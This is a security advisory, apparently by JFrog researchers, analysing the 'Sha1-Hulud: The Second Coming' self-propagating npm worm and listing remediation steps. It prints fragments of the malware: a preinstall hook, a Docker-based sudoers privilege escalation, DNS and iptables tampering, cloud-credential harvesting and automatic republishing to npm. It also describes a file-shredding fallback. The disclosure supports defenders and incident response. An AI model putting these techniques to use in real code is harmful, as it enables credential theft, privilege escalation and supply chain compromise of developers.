Shai-Hulud, The Second Coming - Ongoing npm supply chain attack

In September, NPM faced one of its largest compromises, with many packages hijacked and millions of users compromised. Today, the strike was renewed with a new wave of compromised packages. In addition to the 459 publicly identified packages, the JFrog research team identified 181 packages (630 packages in total) encompassing 823 releases.

The final payload, similar to the first Shai-hulud attack, is a self-propagating worm that steals the user’s secrets, uploads them to a public GitHub repo, and repacks itself into all of the user's available NPM packages with the malicious payload.

Comparison to the previous Shai-Hulud attack

This time, a malicious payload was found on bun_environment.js instead of bundle.js.
The former Shai-hulud attack created repositories in GitHub with the exfiltrated credentials called \<user>/shai-hulud, whereas this time the payload seems to generate a random repository name, containing the user’s secrets:
In the repository's description, you can see that this attack is called “Sha1-Hulud: The Second Coming.” By the attackers.

What to do if you are compromised?

Anyone who has one of the specified versions of the compromised packages should:

1. Rotate any access tokens that were stored on the affected machine of the following providers: GitHub, NPM, AWS, GCP, Azure
2. Rotate any access tokens that were stored on the affected machine that TruffleHog can identify. Supported providers can be searched for in Trufflehog’s GitHub repository.

3. If GitHub access tokens were stored on the affected machine, check the GitHub account for new repositories with a random name, containing one or several of the following files:

   1. contents.json
   2. environment.json
   3. cloud.json
   4. actionsSecrets.json
   5. truffleSecrets.json
4. If npm access tokens were stored on the affected machine, check the npm account for new versions of published packages that contain a postinstall script that runs "node setup_bun.js.js". If found - remove these versions

Payload planted by the attacker

For compromised packages, inside the package.json file, the attacker added the auto-run:

"scripts": {
   ....
   "preinstall": "node setup_bun.js"
 }

Inside the package's files, we found 2 more files - setup_bun.js and bun_environment.js

setup_bun.js - what does it do?

This script installs Bun (if missing) and then executes bun_environment.js, which contains obfuscated code. The main function orchestrates installation and validation:

async function main() {
  let bunExecutable;

  if (isBunOnPath()) {
    // Use bun from PATH
    bunExecutable = 'bun';
  } else {
    // Check if we have a locally downloaded bun
    const localBunDir = path.join(__dirname, 'bun-dist');
    const possiblePaths = [
      path.join(localBunDir, 'bun', 'bun'),
      path.join(localBunDir, 'bun', 'bun.exe'),
      path.join(localBunDir, 'bun.exe'),
      path.join(localBunDir, 'bun')
    ];

    const existingBun = possiblePaths.find(p => fs.existsSync(p));

    if (existingBun) {
      bunExecutable = existingBun;
    } else {
      // Download and setup bun
      bunExecutable = await downloadAndSetupBun();
    }
  }

Main function flow:

1. Checks if bun is on PATH, uses it if found
2. If not found, checks for local bun in bun-dist/
3. If still not found, downloads and installs Bun
4. Executes bun_environment.js if it exists
5. Exits silently if the file is missing

DNS hijacking

The affected system (if running systemd) will have its DNS hijacked, assuming that sudo can be used without specifying a password by attempting privilege escalation via Docker:

async function pQ0() {
  try {
    let {
      stdout: _0x259d7f,
      exitCode: _0x2a341e
    } = await Bun.$`sudo -n true`.nothrow();
    return _0x2a341e === 0;
  } catch {
    try {
      await Bun.$`docker run --rm --privileged -v /:/host ubuntu bash -c "cp /host/tmp/runner /host/etc/sudoers.d/runner"`.nothrow();
    } catch {
      return false;
    }
    return true;
  }
}

async function gQ0() {
  await Bun.$`sudo systemctl stop systemd-resolved`.nothrow();
  await Bun.$`sudo cp /tmp/resolved.conf /etc/systemd/resolved.conf`.nothrow();
  await Bun.$`sudo systemctl restart systemd-resolved`.nothrow();
  await Bun.$`sudo iptables -t filter -F OUTPUT`.nothrow();
  await Bun.$`sudo iptables -t filter -F DOCKER-USER`.nothrow();
}

bun_environment.js - Attack flow

Phase 1 - Initialization and environment detection - checks CI/CD environment, looks up for GITHUB_ACTIONS, CODEBUILD_BUILD_NUMBER, BUILDKITE and CIRCLE_SHA1. If it runs in a CI/CD environment, it tries privilege escalation.

Phase 2 - Credentials harvesting, which includes:

1. Github Token:

   1. Searches for - “ghp_”, “gho_”
   2. Tries to authenticate using GitHub CLI (gh auth token)
   3. Searches for infected repos in the user’s account

2. NPM

   1. NPM_TOKEN env variable check
   2. Read ~/.npmrc

3. Cloud credentials

   1. AWS (All regions)
   2. GCP
   3. Azure

if (process.env.AWS_ACCESS_KEY_ID && process.env.AWS_SECRET_ACCESS_KEY) {
    return {
      accessKeyId: process.env.AWS_ACCESS_KEY_ID,
      secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
      token: process.env.AWS_SESSION_TOKEN
    };
}

Phase 3 - Repository Creation The script creates a random repo, under the compromised user, with 18 random characters, containing the description "Sha1-Hulud: The Second Coming."
Additionally, if the user has a workflow scope, it installs a self-hosted runner, hidden in $HOME/.dev-env and creates a workflow file.

function generate_random_name() {
  return Array.from({
    length: 18
  }, () => Math.random().toString(36).slice(2, 3)).join("");
}

if (github.isAuthenticated()) {
  await github.createRepo(generate_random_name());
}

Phase 4 - Data exfiltration

1. contents.json - System information
2. environment.json - environment variables
3. cloud.json - cloud secrets
4. actionsSecrets.json - GitHub actions secrets
5. truffleSecrets.json - secrets detected by Trufflehog on home directory scanning

Phase 5 - Supply chain attack
On NPN - The script finds all packages available in user data (up to 100), for each:

1. Downloads it
2. Modify package.json with a preinstall command
3. Bundle the payload together
4. Version incrementation
5. Repack
6. Publish to NPM

let tmp_dir = await Sy1(a0_0x459ea5.join(a0_0x647ad2.tmpdir(), "npm-update-"));
let tar_path = a0_0x459ea5.join(tmp_dir, "updated.tgz");
await Bun.$`npm publish ${tar_path}`.env({
    ...process.env,
    NPM_CONFIG_TOKEN: this.token
});

Phase 6 - Fallback
If the script could not find a GitHub token and did not find any NPM token, it shows destructive behaviour:

1. Windows - Deletion of all user data
2. Unix - shred all files and delete empty directories

But, if it did find a token, it exits clean

Newly detected compromised packages (ongoing)

We’re continuing to track the unfolding compromise of more packages in this campaign. Our monitoring infrastructure has detected additional malicious packages with the same payload (or variations of it):

Compromised Packages List